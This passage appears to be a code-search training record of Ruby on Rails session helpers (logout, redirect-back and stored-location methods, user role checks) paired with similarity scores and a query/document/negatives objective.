"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n reset_session\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:username)\n @current_user = nil\n end",
"def log_out \n session.clear\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n forget(@current_user)\n @current_user=nil\n end",
"def log_out\n session.delete(:user_id) #remove the user id from the browser cache\n @current_user = nil\n end",
"def log_out\n forget current_user\n reset_session\n @current_user = nil\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n session.delete(:user_type_string)\n @current_user = nil\n end",
"def log_out\n\t\tsession.delete(:id)\n\t\t@current_user = nil\n\t\tadmin_session(false)\n\tend",
"def log_out\n session.delete(:uid)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n session.delete(:user_name)\n session.delete(:user_email)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user=nil\n end",
"def log_out\n session.delete(:user_id)\n session.delete(:type)\n @current_user = nil\n end",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\t\t# Setting @current_user to nil would only matter if @current_user were created before the destroy action (which it isn’t) and if we didn’t issue an immediate redirect (which we do). This is an unlikely combination of events, and with the application as presently constructed it isn’t necessary, but because it’s security-related I include it for completeness\n\tend",
"def log_out\n session.delete(:user_id)\n session.delete(:user_type)\n session.delete(:user_email)\n @current_user = nil\n end",
"def log_off_user\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:email)\n @current_user = nil\n end",
"def log_out\n session.delete(:username)\n session.delete(:token)\n @current_user = nil\n end",
"def log_out\n\tforget(current_user)\n\tsession.delete(:user_id)\n\t@current_user = nil\nend"
] |
[
"0.8842174",
"0.8842174",
"0.8842174",
"0.8842174",
"0.8841855",
"0.8808438",
"0.8808438",
"0.8808438",
"0.8808438",
"0.8808438",
"0.88038373",
"0.87690127",
"0.8740812",
"0.87260973",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8725622",
"0.8718935",
"0.8718935",
"0.8718935",
"0.8718935",
"0.8718935",
"0.871168",
"0.87106055",
"0.87103534",
"0.8696472",
"0.86903226",
"0.86675507",
"0.8663101",
"0.86593086",
"0.86564106",
"0.8647986",
"0.8639132",
"0.8635974",
"0.863285",
"0.86284554",
"0.86121714",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.86120915",
"0.8599922",
"0.85875595",
"0.85793996",
"0.8554979",
"0.8554197",
"0.85451597",
"0.85381263",
"0.8522738",
"0.85045046",
"0.8503313",
"0.84984356",
"0.8497492",
"0.84809035",
"0.8470335",
"0.8442417",
"0.8427544",
"0.8426329",
"0.8424027"
] |
0.86734074
|
47
|
def log_out Redirects to stored location (or to the default).
|
def redirect_back_or(default)
redirect_to(session[:forwarding_url] || default)
session.delete(:forwarding_url)
return true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def log_out\n session.delete(:user_id)\n session.delete(:destination)\n @current_user = nil\n @current_dest = nil\n end",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\t\t# Setting @current_user to nil would only matter if @current_user were created before the destroy action (which it isn’t) and if we didn’t issue an immediate redirect (which we do). This is an unlikely combination of events, and with the application as presently constructed it isn’t necessary, but because it’s security-related I include it for completeness\n\tend",
"def logout\n logout_redirect = Settings.logout_redirect\n if logout_redirect == 'NONE'\n page_not_found\n return\n end\n MarkusLogger.instance.log(\"User '#{real_user.user_name}' logged out.\")\n clear_session\n if logout_redirect == 'DEFAULT'\n redirect_to action: 'login'\n else\n redirect_to logout_redirect\n end\n end",
"def log_out\n\t\tsuper\n\t\t@current_user = nil\n\tend",
"def log_out\n reset_session\n @current_user = nil\n end",
"def log_out_behavior\n session[:user_id] = nil\n redirect_to \"/\"\n end",
"def logoff\n end",
"def log_out\n\t\tsession[:user_id] = nil\n\tend",
"def logout\r\n clear_login_data\r\n redirect_to(params[:return_to] || '/', allow_other_host: true)\r\nend",
"def logout\r\n clear_login_data\r\n redirect_to params[:return_to] || '/'\r\nend",
"def log_out\n\t \tsession.delete(:user_id)\n\t \t@current_user =nil\n\t end",
"def logged_out\n end",
"def logged_out\n end",
"def logged_out\n end",
"def logoff()\n #This is a stub, used for indexing\n end",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user= nil\n\tend",
"def log_out\n\t\tsession.delete(:id)\n\t\t@current_user = nil\n\t\tadmin_session(false)\n\tend",
"def log_out\n\t\tsession.delete(:golfer_id)\n\t\t@current_golfer = nil\n\tend",
"def log_out \n session.clear\n @current_user = nil\n end",
"def logout\n \tlog_out\n \tredirect_to login_path\n end",
"def logout\n reset_session\n @logged_in_user = nil\n redirect_to :action => :login\n end",
"def log_out\n session.delete(:uid)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n session.delete(:type)\n @current_user = nil\n end",
"def log_out\n \tsession.delete(:user_id)\n \t@current_user = nil\n end",
"def logout\n logout_redirect = Settings.logout_redirect\n if logout_redirect == 'NONE'\n page_not_found\n return\n end\n m_logger = MarkusLogger.instance\n\n # The real_uid field of session keeps track of the uid of the original\n # user that is logged in if there is a role switch\n if !session[:real_uid].nil? && !session[:uid].nil?\n #An admin was logged in as a student or grader\n m_logger.log(\"Admin '#{User.find_by_id(session[:real_uid]).user_name}' logged out from '#{User.find_by_id(session[:uid]).user_name}'.\")\n else\n #The user was not assuming another role\n m_logger.log(\"User '#{current_user.user_name}' logged out.\")\n end\n clear_session\n cookies.delete :auth_token\n reset_session\n if logout_redirect == 'DEFAULT'\n redirect_to action: 'login'\n else\n redirect_to logout_redirect\n end\n end",
"def exec_logout\n core_destroySession\n redirect_to lato_core.login_path\n end",
"def logout\n session.clear\n redirect_referer\n end",
"def logout\n self.current_user = nil\n \n #flash[:notice] = \"You have been logged out.\"\n session[:return_to] = '/' if session[:return_to] && session[:return_to] =~ /server/\n redirect_back_or_default(:controller => '/account', :action => 'index')\n end",
"def log_out\n session.delete(:user_id) #remove the user id from the browser cache\n @current_user = nil\n end",
"def logout\n session[:ccc9527] = nil\n redirect_to root_path\n end",
"def log_out\n forget(current_user)\n reset_session\n @current_user = nil\n end",
"def log_out\n\t\tforget(current_user) #call user.forget\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n reset_session\n @current_baby = nil\n end",
"def log_out\n session[:user_id] = nil\n end",
"def log_me_out\n session['user'] = nil\n end",
"def log_out\n session.delete(:user_id)\n session.delete(:user_type)\n session.delete(:user_email)\n @current_user = nil\n end",
"def log_out\n\t\t# current_user.delete_auth_token # won't work with curl, but html is good\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tsession.delete(:authorization)\n\tend",
"def log_out\n session.delete(:user_id)\n @current_user=nil\n end",
"def log_out\n session.delete(:user_id)\n session.delete(:user_name)\n session.delete(:user_email)\n @current_user = nil\n end",
"def destroy\n log_out if logged_in? #FIXES SUBTLE ISSUE W LOGOUT\n redirect_to root_url\n # normally do root_path but w redirect we want full url\n\n end",
"def logout\n clear_login_state\n redirect_to '/'\n end",
"def log_out\n forget current_user\n reset_session\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def logout\n log_out\n redirect_to login_path\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n\n end",
"def log_out\n forget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil \n end",
"def logout\n reset_session_variables\n redirect_to root_path, layout: 'login'\n rescue StandardError => e\n log_error(__method__, __FILE__, e)\n raise\n end",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend",
"def log_out\n\t\tcookies.delete(:cookie_id)\n\n\tend",
"def log_out\n if !current_user.nil?\n forget(current_user)\n\n session.delete(:user_id)\n session.delete(:user_type)\n @current_user = nil\n end\n end",
"def logout\r\n journal(\"log_out\",session[:user_id])\r\n cookies.delete :autologin\r\n Token.delete_all([\"user_id = ? AND action = ?\", logged_in_user.id, \"autologin\"]) if logged_in_user\r\n self.logged_in_user = nil\r\n redirect_to :controller => 'welcome'\r\n # redirect_to :action => 'login'\r\n end",
"def log_out\n session.delete(:user_credentials)\n @current_user = nil\n end",
"def log_out_now\n\tsession[:user_id] = nil\nend",
"def destroy\n log_out\n redirected_to root_url\n end",
"def logout\n end",
"def logout\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n session.delete(:user_type_string)\n @current_user = nil\n end",
"def log_out\n\t\t#delete the cookie\n\t\tforget(current_user)\n\t\t#delete the sessionid\n \t\tsession[:user_name]=nil\n \t\t#then currentuser is deleted\n\t\tcurrent_user=nil\n\tend",
"def log_out\n session.delete(:user_id)\n @current_user = nil\nend",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def logout\n\t\treset_session\n\t\tredirect_to root_path\n\tend",
"def logout\n self.current_user = nil\n flash[:notice] = \"You have been logged out.\"\n redirect_back_or_default(:controller => '/')\n end"
] |
[
"0.78961766",
"0.7694712",
"0.7688781",
"0.767132",
"0.7659582",
"0.765396",
"0.76530415",
"0.7647203",
"0.7616681",
"0.7599332",
"0.7546684",
"0.75398076",
"0.75398076",
"0.75398076",
"0.753667",
"0.7533064",
"0.7533064",
"0.7533064",
"0.7533064",
"0.7532151",
"0.7531822",
"0.749924",
"0.74977845",
"0.7493133",
"0.7489618",
"0.7474891",
"0.7470041",
"0.74547505",
"0.74318147",
"0.74232036",
"0.7413889",
"0.7389568",
"0.7378634",
"0.73747957",
"0.7365738",
"0.73505664",
"0.73379785",
"0.7331412",
"0.73313844",
"0.7321653",
"0.7318442",
"0.7313314",
"0.7312742",
"0.73105794",
"0.73060405",
"0.73058623",
"0.7305499",
"0.72939336",
"0.7293655",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.7292706",
"0.72887594",
"0.7288121",
"0.728476",
"0.72833014",
"0.72833014",
"0.72833014",
"0.72833014",
"0.72833014",
"0.7272897",
"0.7267115",
"0.7258691",
"0.7258691",
"0.7258691",
"0.7258691",
"0.7258691",
"0.7251469",
"0.7245141",
"0.72419673",
"0.7234607",
"0.72306985",
"0.72288054",
"0.7220622",
"0.7220622",
"0.72134495",
"0.7209195",
"0.7195259",
"0.7190903",
"0.718532",
"0.71695447"
] |
0.0
|
-1
|
Stores the URL trying to be accessed.
|
def store_location
session[:forwarding_url] = request.original_url if request.get?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def store_location\n session[:forwarding_url] = request.url if request.get?\n # Makes sure that the URL is saved only for a GET request because submitting\n # DELETE, PATCH or POST will raise errors when the URL is expecting\n # a GET request.\n end",
"def store_location\n # store last url as long as it isn't a /users path\n\tsession[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/ or request.fullpath =~ /\\/json/ or request.fullpath =~ /\\/static/\n\t\n end",
"def store_location\n\t\tif request.get?\n\t\t\tcookies[:previous_url] = request.url\n\t\tend\n\tend",
"def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end",
"def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end",
"def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end",
"def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end",
"def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end",
"def store_location\n # store last url as long as it isn't a /users path\n session[:previous_url] = request.fullpath unless request.fullpath =~ /\\/users/\n end",
"def store_location!\n session[:\"#{scope}_return_to\"] = attempted_path if request.get? && !http_auth?\n end",
"def store_location\n # Store the URL only when the reqest was GET\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_URL\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n\t\tsession[:forwarding_url] = request.url if request.get?\n\tend",
"def store_location\n\t\tsession[:forwarding_url] = request.url if request.get?\n\tend",
"def store_location\n\t\tsession[:forwarding_url] = request.url if request.get?\n\tend",
"def store_location\n\t\tsession[:forwarding_url] = request.url if request.get?\n\tend",
"def store_url\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def url= new_url\n new_url = self.class.standardized_url new_url\n return if new_url == url\n super new_url # Heading for trouble if url wasn't unique\n @indexing_url = nil # Clear the memoized indexing_url\n self.http_status = nil # Reset the http_status\n # We do NOT build the associated site here, because we may be BUILDING the page_ref for a site, in\n # which case that site will assign itself to us. Instead, the site attribute is memoized, and if it\n # hasn't been built by the time that it is accessed, THEN we find or build an appropriate site\n self.site = SiteServices.find_or_build_for self\n self.kind = :site if site&.page_ref == self # Site may have failed to build\n # We trigger the site-adoption process if the existing site doesn't serve the new url\n # self.site = nil if site&.persisted? && (SiteServices.find_for(url) != site) # Gonna have to find another site\n request_attributes :url # Trigger gleaning and mercury_result to validate/modify url\n attrib_ready! :url # Has been requested but is currently ready\n end",
"def store_location!\n store_location_for(scope, attempted_path) if request.get? && !http_auth?\n end",
"def url=(_); end",
"def set_url\n @url = Url.find_by(key: params[:key])\n end",
"def store_location\n session[:forward_url] = request.url if request.get?\n end",
"def store_location\n\t\tsession[:forwarding_url]=request.original_url if request.get?\n\tend",
"def store_location\n\t\t# store last url - this is needed for post-login redirect to whatever the user last visited.\n\t\tif (request.fullpath != \"/users/sign_in\" &&\n\t\t\t\trequest.fullpath != \"/users/sign_up\" &&\n\t\t\t\trequest.fullpath != \"/users/password\" &&\n\t\t\t\trequest.fullpath != \"/users/sign_out\" &&\n\t\t\t\trequest.fullpath !~ /\\/users\\/confirmation/i &&\n\t\t\t\t!request.xhr?) # don't store ajax calls\n\t\t\tsession[:previous_url] = request.fullpath\n\t\tend\n\tend",
"def store_location\n # store last url - this is needed for post-login redirect to whatever the user last visited.\n return unless request.get? \n if (!request.fullpath.match(\"/users\") &&\n !request.xhr?) # don't store ajax calls\n session[\"user_return_to\"] = request.fullpath\n end\n end",
"def url_server\n\t\t\tunless @links_to_visit.empty?\n\t\t\t\t@url = @links_to_visit.pop\n\t\t\tend\n\t\tend",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.url? if request.get?\n end",
"def store_location\n \tsession[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n\t\tsession[ :forwarding_url ] = request.original_url if request.get?\n\tend",
"def store_location\n if request.get?\n session[:forwarding_url] = request.original_url\n end\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location \n\t\tsession[:forwarding_url] = request.url if request.get?\n\tend",
"def store_location\n\t # store last url - this is needed for post-login redirect to whatever the user last visited.\n\t if !devise_controller? && !request.xhr? # don't store ajax calls\n\t session[:previous_url] = request.fullpath \n\t end\n\tend",
"def url=(url)\n @@url = url\n end",
"def store_location\n session[ :return_to ] = request.url if request.get?\n end",
"def store_location\n # store last url - this is needed for post-login redirect to whatever the user last visited.\n if (request.path != \"/users/sign_in\" &&\n request.path != \"/users/sign_up\" &&\n request.path != \"/users/password/new\" &&\n request.path != \"/users/password/edit\" &&\n request.path != \"/users/confirmation\" &&\n request.path != \"/users/sign_out\" &&\n !request.fullpath.match(/\\/users\\/auth\\//) &&\n !request.xhr?) # don't store ajax calls\n session[:previous_url] = request.fullpath\n end\n end",
"def store_location_url(url)\n session[:forwarding_url] = url\n end",
"def store_location\n\t\tsession[:forwarding_url] = request.original_url if request.get?\n\tend",
"def store_location\n\t\tsession[:forwarding_url] = request.original_url if request.get?\n\tend",
"def store_location\n\t\tsession[:forwarding_url] = request.original_url if request.get?\n\tend",
"def store_location\n\t\tsession[:forwarding_url] = request.original_url if request.get?\n\tend",
"def store_location\n session[:forwarding_url] = request.original_fullpath if request.get?\n end",
"def store_location\n \t\tsession[:forwarding_url] = request.original_url if request.get?\n \tend",
"def url=(url)\n @@url = url\n end",
"def store_location\n # session[:forwarding_url] = request.url if request.get?\n user_session[:forwarding_url] = request.referer if request.get? && request.referer\n end",
"def save_previous_url\n\t\t\tunless request.referer.include?('likes')\n\t\t\t\tsession[:previous_url] = URI(request.referrer).path\n\t\t\tend\n\t\tend",
"def store_location\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n\t\t#Store target location (only if request=get). (For example, if user request a page but\n\t\t# it's not signed in. It remembers the request)\n\t\tsession[:return_to] = request.url if request.get?\n\tend",
"def store_location\n session[:forwarding_url]=request.fullpath if request.get?\n end",
"def store_location\n\t\tsession[:return_to] = request.url if request.get?\n\tend",
"def store_location\n\t\tsession[:return_to] = request.url if request.get?\n\tend",
"def store_location\n\t\tsession[:return_to] = request.url if request.get?\n\tend",
"def store_location\n\t\tsession[:last_page] = @request.request_uri\n\tend",
"def store_location\n\t session[:forwarding_url] = request.original_url if request.get?\n\tend",
"def store_location\n if request.get?\n session[:return_to] = request.url\n end\n end",
"def store_location\n if request.get?\n session[:return_to] = request.url\n end\n end",
"def store_location\n if request.get?\n session[:return_to] = request.url\n end\n end",
"def store_location\n if request.get?\n session[:return_to] = request.url\n end\n end",
"def store_location\n \tsession[:forwarding_url] = request.original_url if request.get?\n\tend",
"def store_location(url = url_for(:controller => controller_name, :action => action_name))\n # It's possible to create a redirection attack with a redirect to data: protocol... and possibly others, so:\n # Whitelisting redirection to our own site and relative paths.\n url = nil unless url =~ /\\A([%2F\\/]|#{root_url})/\n session[:return_to] = url\n end",
"def store_location\n session[:forwarding_url] = request.url if request.get? # only for get requests. A user could technically delete their cookie then submit a form\n end",
"def store_forwarding_url\n session[:forwarding_url] = request.url if request.get?\n end",
"def store_location\n if ((!request.fullpath.match(\"/users\") && !request.fullpath.match(\"/admin\") && !request.fullpath.match(\"/admin/login\")) &&\n !request.xhr?) # don't store ajax calls\n# puts \"----------------------------\"\n# puts \"--not store--\"\n session[:previous_url] = request.fullpath\n else\n# puts \"----------------------------\"\n# puts \"--store--\"\n end\n end",
"def guardar_URL\n\t\tsession[:url_deseada] = request.original_url if request.get?\n\tend"
] |
[
"0.69116175",
"0.6895489",
"0.6884959",
"0.6784313",
"0.6784313",
"0.6784313",
"0.6784313",
"0.6784313",
"0.6784313",
"0.6694612",
"0.66793954",
"0.6637457",
"0.6633661",
"0.66288584",
"0.6592983",
"0.6592983",
"0.6592983",
"0.6592983",
"0.6591829",
"0.6568926",
"0.6557964",
"0.6556597",
"0.65493494",
"0.65443146",
"0.6494146",
"0.64910364",
"0.6487659",
"0.6482756",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.6478022",
"0.64684314",
"0.64662343",
"0.64616746",
"0.64614564",
"0.64608115",
"0.64608115",
"0.64591193",
"0.64550185",
"0.6443564",
"0.64180166",
"0.6403161",
"0.6393411",
"0.6393124",
"0.6393124",
"0.6393124",
"0.6393124",
"0.63890254",
"0.63795453",
"0.63746107",
"0.63685083",
"0.6365065",
"0.6351272",
"0.63509375",
"0.63379097",
"0.633684",
"0.633684",
"0.633684",
"0.63332576",
"0.63177586",
"0.6317386",
"0.6317386",
"0.6317386",
"0.6317386",
"0.63145703",
"0.6313989",
"0.6302844",
"0.629954",
"0.62912625",
"0.6289568"
] |
0.0
|
-1
|
Check wheter the user is a Client, SiteWorker or Distributor
|
def user_should_be(type)
unless logged_in?
store_location
redirect_to log_in_path and return
end
return true if current_user.class == type
redirect_to root_path and return
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def client?\n role == 'client'\n end",
"def user_site?\n !Site::RESERVED.include? site_subdomain\n end",
"def traveler?\n !admin_or_staff? && !superuser?\n end",
"def is_potential_user?\n\t\ttrue\n\tend",
"def owner_required?\n !Refinery::Multisites.user_class.nil?\n end",
"def manage_brandreach?\n user.admin? || user.super_admin?\n end",
"def local_request?\n current_user && current_user.has_role?('Admin')\n end",
"def client?\n roles.count == 1 && has_role?('client')\n end",
"def authorized_for_partner_site? ( site_needed )\n if authorized_partner_sites.detect{ |site| site.id == site_needed.id } != nil\n true\n else\n false\n end\n end",
"def vendor_user?\n \treturn self.user_category == \"vendor\"\n end",
"def from?(some_user)\n tenant == some_user\n end",
"def managed_by? a_user\n owned_by? a_user || program.moderator == a_user\n end",
"def manage?\n super || (@user && @user.is_curator?)\n end",
"def eventunscrape?\n @user.is_admin?\n end",
"def managed_by? a_user\n program.owned_by? a_user\n end",
"def verify_client_belongs_to_user\n return if @resource_for_web_app.is_admin?\n not_found(\"client does not belong to user\") if @resource_for_web_app.id.to_s != params[:id]\n end",
"def is_global_or_owned_by?(user)\n self.is_global? || self.user_id == user.id\n end",
"def is_user_specific?\n false\n end",
"def may_share_document?(document=nil)\n\t\t\tdocument && ( \n\t\t\t\tself.is_administrator? ||\n\t\t\t\t( document.owner && self == document.owner ) \n\t\t\t)\n\t\tend",
"def is_harvester?(user)\n return false if Access::Core.is_guest?(user)\n\n user.has_role?(:harvester)\n end",
"def is_admin?\n current_user && current_user.site=='admin'\n end",
"def viewable_by?(user)\n Sugar.public_browsing? || user ? true : false\n end",
"def by_user?\n !@current_user.admin?\n end",
"def is_owned_by?(member = nil)\n return false if member.blank?\n if self.designer == member or self.client == member\n true\n else\n member.is_super_user? ? true : false\n end\n rescue\n false\n end",
"def can_modify_shops?\n return self.admin_user? || self.vendor_user?\n end",
"def check(client)\n client.user.current\n end",
"def require_user_can_manage( object )\n\t\tunless ( object.user == @current_user ) || ( @current_site.admins.include? @current_user )\n\t\t\tfail \"Not your #{obj.class.to_s}\", :error\n\t\t\treturn false\n\t\tend\n\tend",
"def is_user?\n usertype == 'user'\n end",
"def current_user?(user)\n (user == self.current_user) || admin?\n end",
"def owned_by? a_user\n a_user == program.moderator\n end",
"def guest?\n self.site_role.blank?\n end",
"def editable? usr\r\n (seller?(usr) || pixter?(usr) || usr.has_role?(:admin)) || usr.has_role?(:support)\r\n end",
"def is_vendor?\n current_user && current_user.vendor\n end",
"def acceptable_by?(user)\n return false unless user.has_role?(:admin, user.unit)\n resource.pending?\n end",
"def is_not_global_and_is_owned_by?(user)\n !self.is_global? && self.user_id == user.id\n end",
"def check_if_user_access\n if current_user && current_user.admin?\n @all_orders = Order.all\n @orders = @all_orders.paginate(page: params[:page])\n elsif current_user && current_user.role == \"Partner\"\n redirect_to root_path\n flash[:danger] = I18n.t 'flash.your_company_not_verified'\n elsif current_user && current_user.role == \"Client\"\n @all_orders = @user_company.orders\n @orders = @all_orders.paginate(page: params[:page])\n else\n end\n end",
"def applies_to?(user); false end",
"def is_client?\n client ? true : false\n end",
"def user?\n permissions == 'user'\n end",
"def current_user?\n \n end",
"def user?\n get_mode == :user\n end",
"def admin?\n self.site_role == 'admin'\n end",
"def is_approver?(user)\n\n self.users.include?(user)\n\n end",
